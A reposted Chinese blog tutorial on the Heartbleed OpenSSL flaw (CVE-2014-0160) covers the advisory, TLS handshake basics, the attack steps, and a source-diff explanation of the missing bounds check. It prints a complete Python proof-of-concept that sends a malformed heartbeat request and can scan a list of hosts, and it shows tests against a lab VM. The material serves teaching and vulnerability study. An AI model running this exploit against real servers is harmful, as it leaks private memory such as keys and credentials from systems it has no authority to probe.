心脏滴血漏洞_lixue20141529的博客-程序员宅基地

技术标签: 网络安全  

转自:http://blog.csdn.net/qq_32400847/article/details/58332946

2014年4月7日OpenSSL发布了安全公告,在OpenSSL1.0.1版本中存在严重漏洞(CVE-2014-0160)。OpenSSL的Heartbleed模块存在一个BUG,当攻击者构造一个特殊的数据包,满足用户心跳包中无法提供足够多的数据会导致memcpy函数把SSLv3记录之后的数据直接输出,该漏洞导致攻击者可以远程读取存在漏洞版本的OpenSSL服务器内存中多达64K的数据。

1.漏洞说明

A missing bounds check in the handling of the TLS heartbeat extension can be used to reveal up to 64k of memory to a connected client or server.

Only 1.0.1 and 1.0.2-beta releases of OpenSSL are affected including 1.0.1f and 1.0.2-beta1.

Thanks for Neel Mehta of Google Security for discovering this bug and to Adam Langley [email protected] and Bodo Moeller [email protected] for preparing the fix.

Affected users should upgrade to OpenSSL 1.0.1g. Users unable to immediately upgrade can alternatively recompile OpenSSL with -DOPENSSL_NO_HEARTBEATS.

1.0.2 will be fixed in 1.0.2-beta2.

2.TLS/SSL简介

TLS和SSL是两个密切相关的协议,均用于保证两个主机之间通信数据的机密性与完整性。TLS或SSL可为已存在的应用层协议(例如HTTP,LDAP,FTP,SMTP及其他)添加一个安全层。它同样可以用于创建VPN解决方案(例如OpenVPN)。SSL协议于1994年由Netscape开发。1996年,SSL 3.0(最后版本)被发布。IETF基于此协议进行了开发,取名为TLS。1999年,IETF在RFC2246中发布TLS 1.0。TLS或SSL协议,由多层构成。最接近它的上层协议是可信传输协议(例如TCP)。它可用于封装较高层次的协议。为了在客户端与服务端建立一个安全会话,TLS/SSL需要完成几步验证,并创建密钥。握手过程,交互信息如下。 
这里写图片描述

3.攻击流程

基于POC程序源代码(附后),介绍一下CVE-2014-0160漏洞的攻击思路。 
1. 建立socket连接 
2. 发送TLS/SSL Client Hello请求 
3. 发送畸形heartbleed数据 
4. 检测漏洞存在 
建立socket连接

def ssltest(target, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target, port))
  • 1
  • 2
  • 3
  • 1
  • 2
  • 3

多数情况下默认443提供HTTPS服务。 
这里写图片描述 
发送TLS/SSL Client Hello请求

 s.send(h2bin(hello))
  • 1
  • 1

这里写图片描述 
Client Hello请求数据如下所示。

hello = [
    # TLSv1.1 Record Layer : HandshakeProtocol: Client Hello
    "16"  # Content Type: Handshake (22)
    "0302"  # Version: TLS 1.1 (0x0302)
    "00dc"  # Length: 220
    # Handshake Protocol: Client Hello
    "01"  # Handshake Type: Client Hello (1)
    "0000 d8"  # Length (216)
    "0302"  # Version: TLS 1.1 (0x0302)
    # Random
    "5343 5b 90"  # gmt_unix_time
    "9d9b 72 0b bc  0c bc 2b 92 a8 48 97 cf bd39 04 cc 16 0a 85 03  90 9f 77 04 33 d4de"  # random_bytes
    "00"  # Session ID Length: 0
    "0066"  # Cipher Suite Length: 102
    # Cipher Suites
    "c014"
    "c00a"
    "c022"
    "c021"
    "0039"
    "0038"
    "0088"
    "0087"
    "c00f"
    "c005"
    "0035"
    "0084"
    "c012"
    "c008"
    "c01c"
    "c01b"
    "0016"
    "0013"
    "c00d"
    "c003"
    "000a"
    "c013"
    "c009"
    "c01f"
    "c01e"
    "0033"
    "0032"
    "009a"
    "0099"
    "0045"
    "0044"
    "c00e"
    "c004"
    "002f"
    "0096"
    "0041"
    "c011"
    "c007"
    "c00c"
    "c002"
    "0005"
    "0004"
    "0015"
    "0012"
    "0009"
    "0014"
    "0011"
    "0008"
    "0006"
    "0003"
    "00ff"
    "01"  # Compression Methods
    # Compression Methods (1 method)
    "00"  # Compression Method: null
    "0049"  # Extension Length: 73
    "000b"  # Type: ec_point_formats
    "0004"  # Length: 4
    "03"  # EC point formats length: 3
    # Elliptic curves point formats
    "00"  # EC point format: uncompressed (0)
    "01"  # EC point format:ansix962_compressed_prime
    "02"  # EC point format:ansix962_compressed_char2
    # Extension: elliptic_curves
    "000a"
    "0034"
    "0032"
    "000e"
    "000d"
    "0019"
    "000b"
    "000c"
    "0018"
    "0009"
    "000a"
    "0016"
    "0017"
    "0008"
    "0006"
    "0007"
    "0014"
    "0015"
    "0004"
    "0005"
    "0012"
    "0013"
    "0001"
    "0002"
    "0003"
    "000f"
    "0010"
    "0011"
    "0023 00 00"  # Extension:SeesionTicket TLS
    "000f 00 01 01"  # Extension:Heartbeat
]
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101
  • 102
  • 103
  • 104
  • 105
  • 106
  • 107
  • 108
  • 109
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101
  • 102
  • 103
  • 104
  • 105
  • 106
  • 107
  • 108
  • 109

发送Client Hello后,等待服务端响应,检测TLS/SSLClient Hello会话是否成功。

    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            return
        # Look for server hello done message.
        # typ == 22 ----> Handshake
        #
        if typ == 22 and ord(pay[0]) == 0x0E:
            break
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

这里写图片描述 
此处服务器返回两次数据。Frame 10返回主要用于进一步获取Server Hello 信息。Frame 11为TLS/SSL的Server Hello响应。

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        print 'read: ', r
        if s in r:
            data = s.recv(remain)

            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    hexdump(rdata)
    return rdata

def recvmsg(s):
    hdr = recvall(s, 5)  # recvall(s, 5, timeout=5)
    if hdr is None:
        return None, None, None
    # C     ---- [big-edition] + [unsigned char] + [unsigned short] + [unsigned short]
    # Python ---- [big-edition] + integer +integer + integer
    # [Content Type] + [Version] + [Length]
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        return None, None, None
    return typ, ver, pay
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33

Server Hello 消息返回,说明TTL/SSL会话成功建立,此过程伴随有Certificate,Server Key Exchange,Server Hello Done。 
这里写图片描述 
发送畸形heartbleed数据 
Server Hello成功返回后向服务器发送畸形heartbleed请求。如果服务器响应,会伴随有Encrypted Heartbeats Message,也就是泄露的内存数据。

s.send(h2bin(hb))  # Malformed Packet
  • 1
  • 1

Heartbleed包数据如下。

# ---------TLSv1---[Heartbeat Request]------------
hb = [
            # TLSv1.1 Record Layer: HeartbeatRequest
    "18"    # Content Type: Heartbeat (24) ----(0x18)
    "0302"  # Version: TLS 1.1 (0x0302)
    "0003"  # Heartbeat Message:
    "01"    # Type: Request (1) (0x01)
    "4000"  # Payload Length: (16384) (0x4000)
]
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

这里写图片描述 
检测漏洞是否存在 
畸形数据包发送完成后,检测漏洞是否存在。

    while True:
        print "[+] receive data..."
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print "[-] %s |NOTVULNERABLE" % target
            return False

        # TLSv1.1 Record Layer: EncryptedHeartbeat
        # Content Type: Heartbeat (24)
        # Version: TLS 1.1 (0x0302)
        # Length: 19
        # Encrypted Heartbeat Message
        if typ == 24:
            if len(pay) > 3:
                print "[*] %s |VULNERABLE" % target
            else:
                print "[-] %s |NOTVULNERABLE" % target
            return True

        if typ == 21:
            print "[-] %s |NOTVULNERABLE" % target
            return False
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22

这里写图片描述 
泄露的部分数据如下图所示。 
这里写图片描述 
完整的POC如下。

import struct
import socket
import time
import select
from optparse import OptionParser

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = [
    # TLSv1.1 Record Layer : HandshakeProtocol: Client Hello
    "16"  # Content Type: Handshake (22)
    "0302"  # Version: TLS 1.1 (0x0302)
    "00dc"  # Length: 220
    # Handshake Protocol: Client Hello
    "01"  # Handshake Type: Client Hello (1)
    "0000 d8"  # Length (216)
    "0302"  # Version: TLS 1.1 (0x0302)
    # Random
    "5343 5b 90"  # gmt_unix_time
    "9d9b 72 0b bc  0c bc 2b 92 a8 48 97 cf bd39 04 cc 16 0a 85 03  90 9f 77 04 33 d4de"  # random_bytes
    "00"  # Session ID Length: 0
    "0066"  # Cipher Suite Length: 102
    # Cipher Suites
    "c014"
    "c00a"
    "c022"
    "c021"
    "0039"
    "0038"
    "0088"
    "0087"
    "c00f"
    "c005"
    "0035"
    "0084"
    "c012"
    "c008"
    "c01c"
    "c01b"
    "0016"
    "0013"
    "c00d"
    "c003"
    "000a"
    "c013"
    "c009"
    "c01f"
    "c01e"
    "0033"
    "0032"
    "009a"
    "0099"
    "0045"
    "0044"
    "c00e"
    "c004"
    "002f"
    "0096"
    "0041"
    "c011"
    "c007"
    "c00c"
    "c002"
    "0005"
    "0004"
    "0015"
    "0012"
    "0009"
    "0014"
    "0011"
    "0008"
    "0006"
    "0003"
    "00ff"
    "01"  # Compression Methods
    # Compression Methods (1 method)
    "00"  # Compression Method: null
    "0049"  # Extension Length: 73
    "000b"  # Type: ec_point_formats
    "0004"  # Length: 4
    "03"  # EC point formats length: 3
    # Elliptic curves point formats
    "00"  # EC point format: uncompressed (0)
    "01"  # EC point format:ansix962_compressed_prime
    "02"  # EC point format:ansix962_compressed_char2
    # Extension: elliptic_curves
    "000a"
    "0034"
    "0032"
    "000e"
    "000d"
    "0019"
    "000b"
    "000c"
    "0018"
    "0009"
    "000a"
    "0016"
    "0017"
    "0008"
    "0006"
    "0007"
    "0014"
    "0015"
    "0004"
    "0005"
    "0012"
    "0013"
    "0001"
    "0002"
    "0003"
    "000f"
    "0010"
    "0011"
    "0023 00 00"  # Extension:SeesionTicket TLS
    "000f 00 01 01"  # Extension:Heartbeat
]

# ---------TLSv1---[Heartbeat Request]------------
hb = [
            # TLSv1.1 Record Layer: HeartbeatRequest
    "18"    # Content Type: Heartbeat (24) ----(0x18)
    "0302"  # Version: TLS 1.1 (0x0302)
    "0003"  # Heartbeat Message:
    "01"    # Type: Request (1) (0x01)
    "4000"  # Payload Length: (16384) (0x4000)
]

hello = hello[0].replace("", "").replace("\n", "")
hb = hb[0].replace("", "").replace("\n", "")

def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b: b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.') for c in lin)
        print ' %04x: %-48s %s' % (b, hxdat, pdat)
    print

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        print 'read: ', r
        if s in r:
            data = s.recv(remain)

            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    hexdump(rdata)
    return rdata

def recvmsg(s):
    hdr = recvall(s, 5)  # recvall(s, 5, timeout=5)
    if hdr is None:
        return None, None, None
    # C     ---- [big-edition] + [unsigned char] + [unsigned short] + [unsigned short]
    # Python ---- [big-edition] + integer +integer + integer
    # [Content Type] + [Version] + [Length]
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        return None, None, None
    return typ, ver, pay

def hit_hb(s, target):
# global target
    s.send(h2bin(hb))
    while True:
        print "[+] receive data..."
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print "[-] %s |NOTVULNERABLE" % target
            return False

        # TLSv1.1 Record Layer: EncryptedHeartbeat
        # Content Type: Heartbeat (24)
        # Version: TLS 1.1 (0x0302)
        # Length: 19
        # Encrypted Heartbeat Message
        if typ == 24:
            if len(pay) > 3:
                print "[*] %s |VULNERABLE" % target
            else:
                print "[-] %s |NOTVULNERABLE" % target
            return True

        if typ == 21:
            print "[-] %s |NOTVULNERABLE" % target
            return False

def ssltest(target, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target, port))
    s.send(h2bin(hello))

    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            return
        # Look for server hello done message.
        # typ == 22 ----> Handshake
        #
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    # sys.stdout.flush()
    print "[+] send payload: %s" % hb
    s.send(h2bin(hb))  # Malformed Packet
    return hit_hb(s, target)  # ------------- *********

def main():
    # global target
    options = OptionParser(usage='%prog server[options]',
                       description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
    options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
    options.add_option('-d', '--dest', dest='host', help='HOST to test')
    options.add_option('-f', '--file', dest='filename', help='Hosts in the FILE to test ')
    (opts, args) = options.parse_args()

    if opts.host:
        ssltest(opts.host, opts.port)
        return

    if opts.filename:
        hostfile = open(opts.filename, 'r').readlines()
        for host in hostfile:
            host = host.strip()
            if len(host) > 3:  # x.x
                ssltest(host, opts.port)
        return

    if len(args) < 1:
        options.print_help()
        return

if __name__ == '__main__':
        main()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101
  • 102
  • 103
  • 104
  • 105
  • 106
  • 107
  • 108
  • 109
  • 110
  • 111
  • 112
  • 113
  • 114
  • 115
  • 116
  • 117
  • 118
  • 119
  • 120
  • 121
  • 122
  • 123
  • 124
  • 125
  • 126
  • 127
  • 128
  • 129
  • 130
  • 131
  • 132
  • 133
  • 134
  • 135
  • 136
  • 137
  • 138
  • 139
  • 140
  • 141
  • 142
  • 143
  • 144
  • 145
  • 146
  • 147
  • 148
  • 149
  • 150
  • 151
  • 152
  • 153
  • 154
  • 155
  • 156
  • 157
  • 158
  • 159
  • 160
  • 161
  • 162
  • 163
  • 164
  • 165
  • 166
  • 167
  • 168
  • 169
  • 170
  • 171
  • 172
  • 173
  • 174
  • 175
  • 176
  • 177
  • 178
  • 179
  • 180
  • 181
  • 182
  • 183
  • 184
  • 185
  • 186
  • 187
  • 188
  • 189
  • 190
  • 191
  • 192
  • 193
  • 194
  • 195
  • 196
  • 197
  • 198
  • 199
  • 200
  • 201
  • 202
  • 203
  • 204
  • 205
  • 206
  • 207
  • 208
  • 209
  • 210
  • 211
  • 212
  • 213
  • 214
  • 215
  • 216
  • 217
  • 218
  • 219
  • 220
  • 221
  • 222
  • 223
  • 224
  • 225
  • 226
  • 227
  • 228
  • 229
  • 230
  • 231
  • 232
  • 233
  • 234
  • 235
  • 236
  • 237
  • 238
  • 239
  • 240
  • 241
  • 242
  • 243
  • 244
  • 245
  • 246
  • 247
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101
  • 102
  • 103
  • 104
  • 105
  • 106
  • 107
  • 108
  • 109
  • 110
  • 111
  • 112
  • 113
  • 114
  • 115
  • 116
  • 117
  • 118
  • 119
  • 120
  • 121
  • 122
  • 123
  • 124
  • 125
  • 126
  • 127
  • 128
  • 129
  • 130
  • 131
  • 132
  • 133
  • 134
  • 135
  • 136
  • 137
  • 138
  • 139
  • 140
  • 141
  • 142
  • 143
  • 144
  • 145
  • 146
  • 147
  • 148
  • 149
  • 150
  • 151
  • 152
  • 153
  • 154
  • 155
  • 156
  • 157
  • 158
  • 159
  • 160
  • 161
  • 162
  • 163
  • 164
  • 165
  • 166
  • 167
  • 168
  • 169
  • 170
  • 171
  • 172
  • 173
  • 174
  • 175
  • 176
  • 177
  • 178
  • 179
  • 180
  • 181
  • 182
  • 183
  • 184
  • 185
  • 186
  • 187
  • 188
  • 189
  • 190
  • 191
  • 192
  • 193
  • 194
  • 195
  • 196
  • 197
  • 198
  • 199
  • 200
  • 201
  • 202
  • 203
  • 204
  • 205
  • 206
  • 207
  • 208
  • 209
  • 210
  • 211
  • 212
  • 213
  • 214
  • 215
  • 216
  • 217
  • 218
  • 219
  • 220
  • 221
  • 222
  • 223
  • 224
  • 225
  • 226
  • 227
  • 228
  • 229
  • 230
  • 231
  • 232
  • 233
  • 234
  • 235
  • 236
  • 237
  • 238
  • 239
  • 240
  • 241
  • 242
  • 243
  • 244
  • 245
  • 246
  • 247

4.漏洞测试

这里我分别使用上文的POC、nmap和metasploit对bee-box虚拟机内置的心脏滴血漏洞进行测试。 
这里写图片描述 
虚拟机的IP地址是10.10.10.146,漏洞端口位于8443。 
上文的POC 
这里写图片描述 
接收到了大量的数据,被判定为VULNERABLE。 
这里写图片描述 
nmap 
这里写图片描述 
这里写图片描述 
metasploit 
这里写图片描述 
这里写图片描述

5.源代码分析

我们利用文本比较工具ultracompare对比openssl-1.0.1g和openssl-1.0.1f的不同。 
首先是ssl/d1_both.c。 
这里写图片描述 
然后是ssl/t1_lib.c。 
这里写图片描述 
在tls1_process_heartbeat函数和dtls1_process_heartbeat函数中,主要都是增加了对s->s3->rrec.length长度的判断。这两个函数后面的memcpy(bp, pl, payload);填充payload长度的pl数据,而payload完全由用户控制,当传入过大数值时,可能导致越界访问pl之后的数据,若将读取的数据返回给用户即可造成敏感信息泄露。在一些测试用例中我们会发现response的length长度值总是比request的长度多出来了19个byte。读源代码可以知道,这是因为TLS和DTLS在处理心跳请求包逻辑中从堆空间上申请的内存大小由type、length、request的数据长度和pad四个部分组成,其中type,length,pad字段分为占1byte,2byte,16byte,所以response的数据总是比request的多出来19byte。 

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/lixue20141529/article/details/77815960

智能推荐

【转】明年12月Kotlin将取代Java地位:仿推特等18个Kotlin开源项-程序员宅基地

【转】明年12月Kotlin将取代Java地位:仿推特等18个Kotlin开源项kotlin中文学习交流群:668524118---------------------------------学习一门语言最快的方式就是看其如何在实际项目中运用,下面总结了一下在学习kotlin过程中看过的

C# 图形的绘制矩形椭圆_c#画椭圆-程序员宅基地

1.矩形框的绘制绘制矩形框是用GDI+技术的DrawRectangle方法来实现的,它有3种语法,其语法格式如下:public void DrawRectangle (Pen pen, int x, int y, int width, int height)public void DrawRectangle (Pen pen, float x, float y,_c#画椭圆

There is already 'customerController' bean method-程序员宅基地

错误信息:There is already 'customerController' bean methodpublic com.***.webmvc.support.result.Result<com.ikuijia.customer.vo.customer.CustomerVO> com.***.customer.controller.CustomerController..._there is already 'customercontroller' bean method

用Java解决牛客网华为机试题目HJ74_hj74 java牛客-程序员宅基地

题目描述在命令行输入如下命令:xcopy/sc:\d:\,各个参数如下:参数1:命令字xcopy参数2:字符串/s参数3:字符串c:\参数4:字符串d:\请编写一个参数解析程序,实现将命令行各个参数解析出来。解析规则:1.参数分隔符为空格2.对于用“”包含起来的参数,如果中间有空格,不能解析为多个参数。比如在命令行输入xcopy/s“C:\programfiles”“d:\”时,参数仍然是4个,第3个参数应该是字符串C:\program..._hj74 java牛客

CCNA--GNS3仿真环境的搭建及SecureCRT8.7程序控制台美化调试_securecrt行间距-程序员宅基地

保姆级CCNA--GNS3仿真环境的搭建及美化的操作教程 GNS3的安装与使用。CCNA--GNS3仿真环境的搭建及SecureCRT8.7程序控制台美化调试。SecureCRT 8.7 SecureCRT 8.7破解教程是一款具有图形化界面可以运行在多平台(包括Windows,Linux,andMacOS等)的网络。Cisco网络设备管理员或是想要通过CCNA,CCNP,CCIE等的相关人士可以通过它来完成相关的实验模拟操作。的相关配置。简单说来它是的一个图形前端,相比直接使用dynamips..._securecrt行间距

GsonFormatPlus &Lombok_android gsonformatplus lombok-程序员宅基地

Android Studio升级后GsonFormat 插件不见了,只剩GsonFormatPlus。1、下载GsonFormatPlus;2、在javabean中按下快捷键 ctrl + N,打开 GsonFormatPlus。3、安装使用 Lombok安装好 Lombok 插件重启后, 在 gradle 中添加库。buildscript { dependencies { classpath 'org.projectlombok:lombok:1.18.0' _android gsonformatplus lombok

随便推点

oc基础-OC中对象方法的使用-程序员宅基地

方法分为:无参,有参#import <Foundation/Foundation.h>@interface Student :NSObject{ int age; char *name; //声明无参方法 - (void) run; //声明一个参数的方法 - (void) study..._黑马程序员曾明杰

Spring的@ResponseBody返回的字段为null_responsebody传回值为null-程序员宅基地

Spring中的@ResponseBody会把返回的数据进行JSON格式化。但是,如果对实体中的字段的值为null也进行JSON格式化的话,那么会浪费比较多的流量。所以,为了防止返回的字段为null.那么需要增加如下的配置。 _responsebody传回值为null

Qt获取文件夹下文件夹,文件列表_qt怎么显示远程目录树-程序员宅基地

1.通过所给文件夹,获得所给文件夹下所有文件列表std::vector GetFileList(QString dir){std::vector filePath;QDir dirPath(dir);QList file(dirPath.entryInfoList());QString name = "";for (auto it = file.begin();_qt怎么显示远程目录树

fitrkernel函数的用法_matlabfitrkerenl-程序员宅基地

fitrkernel函数的用法环境:matlab 20191.功能采用高斯核实现非线性回归,对大规模数据集较为实用,也可用于小样本数据集,通过高斯核实现低维数据到高维数据的映射,从而实现高维空间的线性回归(其他的线性回归包括支持向量机SVM和最小二乘)`2.代码调用过程datastore函数建立了文件位置与变量间的联系,此外还可建立与单个文件,每一系列文件以及整个文件夹中的位置;tall 为转换数据为tall ,从而解决内存不能容纳的中转数据varnames = {'ArrTime','Dep_matlabfitrkerenl

HBase的基本介绍_hbase是否支持频繁更新操作-程序员宅基地

什么是HBaseHbase 是建立在hdfs之上的一个数据库,不支持join等SQL复杂操作.支持的数据类型:byte[],依靠横向扩展一个表可以有上十亿行,上百万列。面向列(族)的存储和权限控制对于为空(null)的列,并不占用存储空间,是一个稀疏表。稀疏的理解:宽松;不稠密举个最容易理解的例子 “稀疏的像程序员的头发”,当然这里的程序员指的是那些大量用脑的资深程序员。HBase的..._hbase是否支持频繁更新操作

华为OD机试真题 Java 实现【求最小公倍数】【牛客练习题】-程序员宅基地

本专栏包含了最新最全的2023年华为OD机试真题,有详细的分析和Java解答。已帮助1000+同学顺利通过OD机考。专栏会持续更新,每天在线答疑。正整数A和正整数B 的最小公倍数是指 能被A和B整除的最小的正整数值,设计一个算法,求输入A和B的最小公倍数。数据范围:1≤a,b≤100000。输出A和B的最小公倍数。输入两个正整数A和B。